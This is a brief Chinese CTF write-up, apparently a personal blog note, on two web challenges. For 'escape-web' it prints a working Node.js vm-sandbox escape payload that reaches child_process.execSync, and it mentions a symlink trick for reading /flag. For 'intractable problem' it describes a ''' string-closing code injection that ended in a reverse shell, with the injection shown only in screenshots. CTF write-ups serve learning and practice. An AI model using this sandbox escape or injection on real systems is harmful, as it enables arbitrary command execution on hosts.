escape-web

根据报错知道是vm逃逸,直接搜payload

Object.defineProperty(Promise, Symbol.hasInstance, {value: ()=>false});

async function fn() {
    (function stack() {
        new Error().stack;
        stack();
    })();
}

p = fn();
p.constructor = {
    [Symbol.species]: class FakePromise {
        constructor(executor) {
            executor(
                (x) => x,
                (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls >&2'); }
            )
        }
    }
};
p.then();

但是flag在容器外,不知道怎么逃逸。
看了wp说是ln -s /flag /app/output.txt,可能是把主机的什么文件映射到Docker里,所以可以软链接读取。不懂

intractable problem

非预期

2024-02-28T14:20:43.png
主要是因为拼接code的时候没有过滤''',所以我们就能通过'''来逃出code
2024-02-28T14:25:58.png
我们用两个'''来进行闭合,相当于在code赋值之后多加了我们的payload语句。
2024-02-28T14:24:46.png
成功反弹。